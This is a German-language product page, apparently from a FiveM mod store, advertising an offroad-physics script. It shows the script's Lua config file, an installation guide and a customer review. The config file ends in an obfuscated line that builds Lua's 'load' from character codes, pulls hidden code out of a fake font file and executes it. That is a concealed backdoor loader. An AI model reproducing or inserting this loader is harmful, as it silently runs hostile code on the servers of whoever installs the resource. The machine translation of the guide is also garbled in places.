Realistische Offroad-Physik
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Dieses FiveM-Skript fügt hinzu realistische Offroad-Physik, wodurch Geländearten wie Schlamm, Sand und Schmutz die Leistung des Fahrzeugs beeinträchtigen. Autos können einsinken, die Bodenhaftung verlieren oder stecken bleiben, je nach der Beschaffenheit der Oberfläche Tiefe, Weichheit, Und Traktionund verleiht dem Offroad-Fahren eine neue Ebene der Herausforderung und des Realismus.
HIGHLIGHTS
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Konfigurationsdatei
Config = {} -- This enabled additional debug commands and logs -- Debug commands: -- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values Config.debug = false ------------------------------------------------- --- GENERAL SETTINGS ------------------------------------------------- -- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining. -- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want -- a realistic handling. Here are the recommended values: -- generalDepthDifficulty = 25 -- generalSinkageSpeed = 50 -- generalTractionLoss = 50 -- General difficulty of the depth handling. -- 100 = default -- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles -- Raise this value to make driving in deep surfaces more difficult Config.generalDepthDifficulty = 100 -- General speed of the vehicle sinking into the surface -- 100 = Default -- Lower this value to make all vehicles sink slower -- Raise this value to make all vehicles sink faster Config.generalSinkageSpeed = 100 -- General loss of traction based on vehicle surface -- Vehicles will be more likely to skid on low traction surfaces -- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces) -- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces) Config.generalTractionLoss = 100 ------------------------------------------------- --- VEHICLE MODIFIERS ------------------------------------------------- -- Changes that offroad tires will make. -- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.) -- tractionOnSoft = Additional traction when on materials of softness that's more than 10 -- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10) Config.offroadTires = { upgradeValue = 50, tractionOnSoft = 20, tractionOnHard = -10, } -- Handling upgrade in deep surface for AWD (4WD) vehicles Config.awdUpgrade = 25 ------------------------------------------------- --- SCRIPT PERFORMANCE SETTINGS ------------------------------------------------- -- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance. -- If your server is known for players with slower devices you might want to turn this up -- If your players have better computers or you really want the off-roading to look good try turning it down -- Values between 100 - 500 Config.refreshRate = 200 ------------------------------------------------- --- AREA BLACKLISTING ------------------------------------------------- -- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink -- Here you can define custom areas in which the script will not be active in -- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into -- incorrectly setup MLO surfaces Config.areaBlacklist = { { -- Pillbox hospital coords = vector3(293.17, -584.5, 42.8), radius = 20.0 }, { -- LSPD coords = vector3(444.9, -1003.2, 30.7), radius = 60.0 }, { -- Simeon's dealership coords = vector3(-40.4, -1111.3, 25.8), radius = 40.0 }, { -- BCSO coords = vector3(-446.0, 6013.8, 31.8), radius = 50.0 }, { -- Sandy Shores PD coords = vector3(1853.6, 3685.8, 34.3), radius = 25.0 }, { -- Legion Square coords = vector3(202.3, -941.9, 27.6), radius = 120.0 }, } ------------------------------------------------- --- DETAILED SETTINGS ------------------------------------------------- -- Blacklist. This will disable all script functionality for said model/vehicle class Config.blacklist = { models = { 'rcbandito', 'monster', 'rhino', 'scarab', 'khanjali', }, classes = { [0] = false, -- Compacts [1] = false, -- Sedans [2] = false, -- SUVs [3] = false, -- Coupes [4] = false, -- Muscle [5] = false, -- Sports Classics [6] = false, -- Sports [7] = false, -- Super [8] = false, -- Motorcycles [9] = false, -- Off-road [10] = false, -- Industrial [11] = false, -- Utility [12] = false, -- Vans [17] = false, -- Service [18] = false, -- Emergency [19] = false, -- Military [20] = false, -- Commercial } } -- If you define a model specific multiplier it will be used instead of the class multiplier -- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62 -- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface -- 0 = Default -- Positive values = Better handling / ability to get out of deep surface -- Negative values = Worse handling / less ability to get out of deep surface Config.depthHandlingQuality = { models = { seminole2 = 20, sandking = 20, sandking2 = 20, issi2 = -10, panto = -20, comet4 = 30, -- dirt bikes bf400 = 30, sanchez = 20, manchez = 20, esskey = 0, cliffhanger = 0, enduro = 0, }, classes = { [0] = 5, -- Compacts [1] = -5, -- Sedans [2] = 15, -- SUVs [3] = 0, -- Coupes [4] = -5, -- Muscle [5] = 5, -- Sports Classics [6] = 5, -- Sports [7] = 5, -- Super [8] = -10, -- Motorcycles [9] = 35, -- Off-road [10] = -10, -- Industrial [11] = -10, -- Utility [12] = -5, -- Vans [17] = 10, -- Service [18] = 10, -- Emergency [19] = 15, -- Military [20] = -5, -- Commercial } } ------------------------------------------------- --- ROADSIDE SETTINGS ------------------------------------------------- -- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc. Config.roadSideHelper = { enabled = true, -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode distanceThreshold = 15.0, -- Depth multiplier depthMultiplier = 0.1, -- Traction loss multiplier tractionMultiplier = 0.25, } ------------------------------------------------- --- SURFACES ------------------------------------------------- -- name = Only used for the ease of config as well as the debug mode -- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid -- Maximum 100 -- Minimum 0 -- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches) -- Maximum infinite -- Minimum 0 -- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost -- Maximum infinite -- Minimum 0 -- Values which will be assigned to all un-configured surfaces Config.fallbackSurface = { name = 'Fallback Surface', traction = 100, depth = 0, softness = 0, } Config.surfaces = { [1] = { name = 'Concrete', traction = 100, depth = 0, softness = 0, }, [4] = { name = 'Road', traction = 100, depth = 0, softness = 0, }, [5] = { name = 'Metal', traction = 100, depth = 0, softness = 0, }, [6] = { name = 'Sandy roadside', traction = 80, depth = 50, softness = 5, }, [9] = { name = 'Sandstone', traction = 80, depth = 0, softness = 0, }, [10] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [11] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [13] = { name = 'Cobble', traction = 90, depth = 0, softness = 0, }, [16] = { name = 'Limestoneesque sand', traction = 80, depth = 0, softness = 0, }, [17] = { name = 'Rocky dry dirt', traction = 80, depth = 50, softness = 5, }, [18] = { name = 'Dry sand', traction = 80, depth = 130, softness = 40, }, [19] = { name = 'Road sand', traction = 90, depth = 30, softness = 5, }, [20] = { name = 'Grainy Sand', traction = 80, depth = 100, softness = 10, }, [21] = { name = 'Gravely sand', traction = 70, depth = 220, softness = 30, }, [22] = { name = 'Wet hard sand', traction = 70, depth = 250, softness = 50, }, [23] = { name = 'Gravel road', traction = 75, depth = 50, softness = 5, }, [24] = { name = 'Wet sand', traction = 60, depth = 350, softness = 70, }, [31] = { name = 'Gravely dirt/path', traction = 70, depth = 50, softness = 5, }, [32] = { name = 'Gravely dirt', traction = 70, depth = 200, softness = 15, }, [35] = { name = 'Tuff Sand', traction = 90, depth = 50, softness = 5, }, [36] = { name = 'Dirt', traction = 70, depth = 300, softness = 40, }, [37] = { name = 'Deep road sand', traction = 60, depth = 75, softness = 15, }, [38] = { name = 'Rocky sand', traction = 70, depth = 150, softness = 10, }, [40] = { name = 'Moist dirt path', traction = 60, depth = 150, softness = 50, }, [41] = { name = 'Swamp grass', traction = 50, depth = 250, softness = 50, }, [42] = { name = 'Swamp sand', traction = 70, depth = 500, softness = 110, }, [43] = { name = 'Hard Sand', traction = 75, depth = 50, softness = 10, }, [44] = { name = 'Dirt/Sand', traction = 50, depth = 200, softness = 25, }, [46] = { name = 'Hard grass', traction = 80, depth = 50, softness = 5, }, [47] = { name = 'Grass', traction = 65, depth = 125, softness = 10, }, [48] = { name = 'Tall grass', traction = 60, depth = 150, softness = 20, }, [49] = { name = 'Farmland', traction = 60, depth = 200, softness = 35, }, [50] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [51] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [52] = { name = 'Dry podzol', traction = 80, depth = 75, softness = 10, }, [64] = { name = 'Metal', traction = 90, depth = 0, softness = 0, }, [125] = { name = 'Drain concrete', traction = 70, depth = 0, softness = 0, }, } -- Zone multiplier -- This has been added to modify the maximum depth of all surfaces located within zones. -- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on. -- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here. -- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those -- You can view the zone you're in by using the debug command /surfaceDebug -- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg -- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA Config.zones = { { name = 'City', depthMultiplier = 0.3, tractionMultiplier = 0.6, zones = { 'MOVIE', 'ROCKF', 'DOWNT', 'DTVINE', 'EAST_V', 'GOLF', 'LEGSQU', 'ROCKF', 'MORN', 'STAD', 'DAVIS', 'RANCHO', 'STRAW', 'CHAMH', 'PBOX', 'SKID', 'TEXTI', 'LMESA', 'ELYSIAN', 'TERMINA', 'HAWICK', 'ALTA', 'BURTON', 'DELPE', }, }, { name = 'City beaches', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'BEACH', 'DELBE', }, }, { name = 'Mountains', depthMultiplier = 1.25, tractionMultiplier = 1.1, zones = { 'MTCHIL', 'MTGORDO', 'MTJOSE', 'PALHIGH', }, }, { name = 'Zancudo Swamp', depthMultiplier = 1.1, tractionMultiplier = 1.1, zones = { 'LAGO', 'ZANCUDO', }, }, { name = 'Popular', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'PALETO', 'HARMO', 'GRAPES', 'SANDY', 'RTRAK', 'ZQ_UAR', 'HUMLAB', }, }, } -- (Advanced) -- When making the vehicles sink the suspension does not always get updated properly. -- Therefore I had to add a system which updates/refreshes the vehicles suspension. -- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car -- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells. -- The new system "flag" seems to work much better but hasn't been tested with some vehicles. -- If you encounter any issues with this system, please let us know on our discord <3 Config.suspensionRefresh = { enabled = true, type = 'flag', } local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
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So installieren Sie Ressourcen
Durch die Installation von Mods auf FiveM können Sie Ihren Server mit einzigartigen Assets, Skripten, MLOs und anderen Verbesserungen anpassen. Hier finden Sie eine klare, detaillierte Anleitung zur Installation von Mods auf Ihrem FiveM-Server.
Schritt 1: Laden Sie den gewünschten Mod herunter
Finde einen Mod: Beginnen Sie mit dem Durchsuchen von Websites, die FiveM-Mods anbieten, wie zum Beispiel fivem-mods.net, GTA5-Mods.com, oder Community-basierte Foren und Discord-Server. Sie können Mods auch aus Repositories wie GitHub oder von den persönlichen Websites der Skriptentwickler herunterladen.
Überprüfen Sie die Kompatibilität: Stellen Sie sicher, dass der Mod, den Sie herunterladen, mit der von Ihnen verwendeten FiveM-Version kompatibel ist (insbesondere, wenn Sie bestimmte Frameworks verwenden wie QBCore oder ESX).
Dateien herunterladen: Laden Sie die Mod-Dateien herunter, normalerweise komprimiert in einer
.Reißverschluss
oder.rar
Dateiformat. Diese Dateien enthalten die erforderlichen Ressourcen für die Installation.
Schritt 2: Bereiten Sie Ihren Server vor
Zugriff auf Ihre Serverdateien: Melden Sie sich beim Dateimanager Ihres FiveM-Servers an. Dies kann entweder über einen FTP-Client wie FileZilla oder über das Control Panel Ihres Hosting-Anbieters erfolgen.
Erstellen Sie ein Backup: Bevor Sie Änderungen vornehmen, müssen Sie unbedingt Ihre Serverdateien sichern. So stellen Sie sicher, dass Sie Ihren Server wiederherstellen können, falls etwas schief geht.
Suchen Sie den Ressourcenordner: Suchen Sie in Ihren Serverdateien nach Ressourcen Ordner. Hier werden alle Mods und Skripte installiert.
Schritt 3: Installieren Sie den Mod
Extrahieren Sie die Dateien: Wenn sich der Mod in einer komprimierten Datei befindet, extrahieren Sie den Inhalt in einen Ordner auf Ihrem lokalen Computer.
Laden Sie die Mod-Dateien hoch:
- Verwenden Sie Ihren FTP-Client oder Dateimanager, um den extrahierten Ordner in das Ressourcen Ordner Ihres Servers.
- Stellen Sie sicher, dass der Ordnername aussagekräftig ist, da Sie in der Serverkonfiguration darauf verweisen.
Konfigurieren Sie den Server zum Laden des Mods:
- Öffnen Sie die server.cfg Datei (zu finden im Hauptverzeichnis Ihres Servers).
- Fügen Sie eine Zeile hinzu, um sicherzustellen, dass der Server den Mod lädt. Normalerweise sieht dies folgendermaßen aus:CSS
sicherstellen [Mod_Name]
- Wenn Sie beispielsweise einen Mod namens
mein_Auto_Mod
würden Sie hinzufügen:Rubinsicherstellen mein_Auto_Mod
Schritt 4: Abhängigkeiten einrichten (sofern vorhanden)
Einige Mods können Abhängigkeiten aufweisen, z. B. bestimmte Bibliotheken, Frameworks oder Ressourcen, die separat installiert werden müssen. Überprüfen Sie immer die Dokumentation des Mods auf solche Anforderungen.
Abhängigkeiten installieren: Wenn der Mod zusätzliche Ressourcen benötigt, laden Sie diese herunter und installieren Sie sie im selben Ressourcen Ordner, und befolgen Sie dabei die gleichen Schritte wie in Schritt 3 beschrieben.
Abhängigkeiten laden: Fügen Sie alle notwendigen Abhängigkeiten zu Ihrem
server.cfg
Datei, genau wie Sie es für den Hauptmod getan haben.
Schritt 5: Starten Sie den Server neu
- Starten Sie den Server neu: Sobald der Mod und seine Abhängigkeiten hochgeladen und konfiguriert wurden, starten Sie Ihren Server neu.
- Sie können entweder die Neustart Schaltfläche in Ihrer Systemsteuerung oder starten Sie es manuell über einen FTP-Client oder einen Terminalbefehl neu.
- Überprüfen der Konsole: Überwachen Sie nach dem Neustart die Serverkonsole auf Fehlermeldungen. Wenn Sie Probleme im Zusammenhang mit dem Mod feststellen, lesen Sie die Dokumentation des Mods oder beheben Sie das Problem anhand der Fehlermeldung.
Schritt 6: Testen Sie den Mod im Spiel
Treten Sie Ihrem Server bei: Öffnen Sie FiveM und verbinden Sie sich mit Ihrem Server, um den Mod zu testen.
Auf Probleme prüfen: Testen Sie, ob der Mod wie erwartet funktioniert. Stellen Sie sicher, dass die neuen Funktionen, Fahrzeuge oder Skripte ordnungsgemäß geladen werden.
Schritt 7: Fehlerbehebung (falls erforderlich)
Wenn der Mod nicht wie erwartet funktioniert, müssen Sie möglicherweise Folgendes beheben:
- Dateipfade prüfen: Stellen Sie sicher, dass sich alle Dateien in den richtigen Ordnern und Pfaden befinden.
- Protokolle überprüfen: Suchen Sie in den Serverprotokollen nach Fehlern oder Konflikten.
- Abhängigkeiten aktualisieren: Stellen Sie sicher, dass alle erforderlichen Abhängigkeiten korrekt installiert und auf dem neuesten Stand sind.
- Mod-Kompatibilität: Überprüfen Sie, ob der Mod mit der Version von FiveM und anderen Mods, die Sie verwenden, kompatibel ist.
Abschließende Gedanken
Durch die Installation von Mods auf Ihrem FiveM-Server können Sie das Gameplay verbessern, den Spielern einzigartige Inhalte bieten und Ihren Server hervorstechen lassen. Denken Sie immer daran, Ihren Server zu sichern, bevor Sie Änderungen vornehmen, und achten Sie auf die Mod-Kompatibilität, um Konflikte zu vermeiden.
Indem Sie die oben beschriebenen Schritte befolgen, können Sie Mods einfach installieren und verwalten, um Ihr FiveM-Server-Erlebnis zu bereichern.
Mods, die das Rollenspiel erweitern
- Geld-Zurück-Garantie: Wenn Sie nicht zufrieden sind, bieten wir Ihnen eine Rückerstattungsrichtlinie ohne Rückfragen an.
- Exklusive Inhalte: Unsere Mods und Skripte werden professionell erstellt und sind exklusiv für unsere Plattform.
- Von der Community geschätzt: Schließen Sie sich Tausenden von FiveM-Serverbesitzern an, die sich auf unsere Qualitätsressourcen verlassen.
- Hochwertiges Design: Erstellt mit optimierten Codierungsverfahren für erstklassige Leistung.
- Nahtlose Integration: Einfache Installation und Ausführung auf jedem FiveM-Server ohne Kompatibilitätsprobleme.
- Anpassbare Optionen: Passen Sie Einstellungen und Funktionen an den individuellen Stil Ihres Servers an.
- Optimierte Leistung: Getestet, um minimalen Ressourcenverbrauch und maximale Effizienz sicherzustellen.
- Lebenslange Updates: Bleiben Sie auf dem Laufenden mit laufenden Updates und Verbesserungen, die ohne zusätzliche Kosten enthalten sind.
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Toller Mod! Ändert das Offroad-Gefühl im Spiel völlig. Sehr empfehlenswert!